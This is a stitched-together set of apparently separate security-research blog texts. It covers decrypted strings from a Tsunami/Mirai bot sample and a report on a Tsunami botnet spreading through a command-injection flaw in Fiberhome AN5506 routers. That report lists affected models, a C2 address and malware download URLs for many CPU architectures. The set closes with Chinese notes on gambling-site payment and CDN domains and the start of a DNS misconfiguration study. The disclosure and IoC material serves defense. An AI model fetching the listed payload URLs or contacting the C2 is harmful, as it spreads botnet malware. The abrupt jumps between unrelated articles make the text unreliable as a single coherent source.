在创建exploit子进程后，样本开始通过IRC协议连接服务器等待进一步指令。样本的主要功能是发起DDoS攻击，DDoS攻击种类如下：


虽然样本使用Tsunami框架代码和协议，但是里面也加入了Mirai的代码，其中字串加密方法完全照抄Mirai。从解出来的字串中可以看到Mirai的字样。


/proc/
/exe
/fd
/proc/net/tcp
/status
/proc/net/route
assword
hdyuk82upoklm28oa0hnmuqigvxj9pq
/tmp/
/maps
shell
enable
system
sh
/bin/busybox MIRAI
MIRAI: applet not found
A new Tsunami botnet is using a vulnerability in the Fiberhome AN5506 fiber router to spread

Author: Yanlong Ma, Genshen Ye, Ye Jin



Background


On January 29, 2021,360netlab Threat Detection System spotted that attackers were using a new remote command execution vulnerability[1] in the AN5506 fiber router of Fiberhome Communication Technology Co. to spread Tsunami botnet samples.


Previously, we have disclosed another security incident about Fiberhome's routers [2].



Timeline


On February 3, 2021, we emailed Fiberhome and reported the vulnerability details and the PoC.
On February 7, 2021, Fiberhome replied that the vulnerability was fixed at the end of 2017.




Vulnerability Analysis


Vulnerability Type: Remote command execution vulnerability requiring authorization

Vulnerability Description: The webs program of the AN5506 fiber router does not filter for dangerous characters in the ping_ip field when processing setPing requests, i.e., splicing ping or traceroute commands, resulting in a remote command execution vulnerability.





Tsunami botnet


This specfic Tsunami botnet Bot sample (327aba0f852b5ba34c03032e19fa8dae) targets the AN5506 fiber router. There is nothing special about this sample, and we will only briefly analyze it.


 * 
   
   
   Random IP generation algorithm
   
   
   

 * 
   
   
   Vulnerability Exploitation
   
   
   

 * 
   
   
   The primary function of the sample is to launch DDoS attack with the following specific types of attack commands.
   
   
   



Vulnerability Impact Scope


360 FirmwareTotal system shows the following device models are affected.


AN5506-01-A
AN5506-01A2G
AN5506-01-B
AN5506-02-B
AN5506-04-A5
AN5506-04-B5
AN5506-04-F
AN5506-04-G2G



360 Quake Cyberspace Mapping System found the specific distribution of Fiberhome AN5506 routers by mapping the assets of the whole network as shown in the figure below.





Recommendations


We recommend users of Fiberhome AN5506 router to check and update the firmware system.

We also recommend readers to monitor and block the related IPs and URLs in the IoC section.



Contact us


Interested readers can contact us on twitter or via email netlab[at]360.cn .



IoC


IP:


43.225.100.90       	Hong Kong           	ASN4594             	Internet Solutions Limited



C2:


43.225.100.90:443



URL:


http://43.225.100.90/i486
http://43.225.100.90/powerpc
http://43.225.100.90/i586
http://43.225.100.90/mips64
http://43.225.100.90/i686
http://43.225.100.90/armv6l
http://43.225.100.90/sh4
http://43.225.100.90/x86
http://43.225.100.90/sparc
http://43.225.100.90/armv7l
http://43.225.100.90/mipsel
http://43.225.100.90/armv5l



MD5:


0f0273ff0989f43e99dd475149e2185d
000ab901bc99669194c586a2c0fa9bb0
1ab3c1291f65da0aa3e6ef885e631317
1f9240939bad6a9a61191508916ee06d
327aba0f852b5ba34c03032e19fa8dae
2128ed685f800e102149961e9f1b56a3
76189718c600fe425806eac90de9cff5
d063e649af418991b593e026920c7f1f
ec361d389ce02ea0ada7136e65efaa03
f0bf954c24ca78420cb66f81de728323
f57fbac2db64f5c358473014f97396a4
f43589884f899300916977b90e38862b
fa5dcf103384d520c6eb07969548af80
赌博/黑灰行业的IT支撑系统

客服系统












支付系统


从技术角度来说，黑灰产的支付体系也呈现较为明显的基础设施复用的情况。比如如下的赌博网站所使用的支付域名会汇集到一个中心支付域名上。




再看一个例子，位于菲律宾（也有说是中国台湾）的网段183.182.75.0/24上几乎全是四方支付域名，并且在该网段提供支付业务的时间至少有7年时间（从2014年开始）。







CDN系统


greycdn.net

之前介绍的以大站的名义存在的黑灰产业：https://blog.netlab.360.com/fraudulent-top-sites-a-dedicated-underground-market-infrastructure-chinese/


还有直接就叫greycdn.net的，对自己的定位非常清晰。


模仿白山云的cdn系统

cpb5k8bgp175rpxc.baishancloudslb.com

模仿百度云的云加速cdn，来了一个云减速cdn

569a5a305r7psx0e.yunjiansu-cdn.com


模仿电信云堤的cdn系统

d4y2pxj94jgyss2r.damdddos.com

模仿创宇盾的cdn系统

zs54k064j0wclag0.365cydun.com

模仿akamai的cdn系统

6ior18q0ty88ah85.akmddos.com


利用阿里云做基础设施服务，IP地址再新加坡

towk9565y4p94gh9.aliyunddos0003.com

30m991pwxrl87ab2.aliyunddos0003.com

l3kv245rxipkvhv2.aliyunddos0004.com


用于支付的，模仿Google的域名：

pay.googlecdn.in

模仿阿里的域名：

www.aliycpaycdn.com



internet7.cc/internet7.vip


这两组域名为5000+赌博域名提供服务，使用的IP接近2000个，涵盖了中国，美国，新加坡，南非等等地区。域名和IP之间勾连紧密。每个域名使用的IP地址在10～50个之间，最多的一个IP上面承载了70+域名。


图链接参见：https://graph.netlab.qihoo.net/#/explorer?snapshot=60c8723c61ff4c374d4130c7


这个case的有趣之处在于涉及的每个域名访问量都非常大，再加上涉及的域名众多，以及处在欧洲杯期间（2021-06-15），让人们对网络赌博的热情极大的提高。



NS 服务器


ns2.ybvipdns.com

ns1.ybvipdns.com

使用的基础设施是阿里云的服务器。


搞笑的是居然还有仿冒阿里的域名：alibabadhs.com ，也用来承担赌博站的基础设施

使用该NS服务器的类似的基础设施涉及的域名超过10000+
DNSMon: 用DNS数据进行威胁发现（4）

----谈DNS基础设施的安全


本系列文章的前三篇基本内容虽然侧重点不同，但是实质上比较接近，即都是介绍如何利用DNSMon从DNS数据中发现恶意的程序和恶意网络攻击事件的蛛丝马迹进而拓展还原完整的攻击行为。这篇文章我们换个角度来看一下，仅从DNS数据出发，我们能发现什么有意思的东西。

在本系列第一篇文章中提到，仅靠DNS数据，检测DGA和fastflux是比较高效的，这些都集中在恶意程序的检测层面。如果我们转向DNS系统的基础配置和针对DNS系统的风险发现，则可做的分析就比较多了。当然还是从数据出发，比较直观的可以检测的风险包括DNS配置失当，（递归或权威）DNS面临的DDoS攻击，尤其是前几年特别流行的伪随机子域名攻击等方面，DNS数据能够告诉我们几乎攻击发生时的一切信息。


这篇文章我们介绍DNS配置失当的问题，选取的目标域名为国内的政府网站(.gov.cn结尾的域名)。选择政府网站为目标的原因一个是能更直观的理解DNS配置失当的问题，再一个是政府网站的影响度会比较高。



数据和规则


出于说明问的角度，同时不再纠结历史数据，我们从DNSMon中筛选了最后活跃时间在今年（2021年）一月一日之后的PassiveDNS记录，大约12万条。从DNS安全的角度出发，主要发现了如下的问题：



异常点



泛解析



解析IP地址在境外


解析IP地址为美军





解析IP地址为知名IP



解析地址为私有地址



解析IP地址为loopback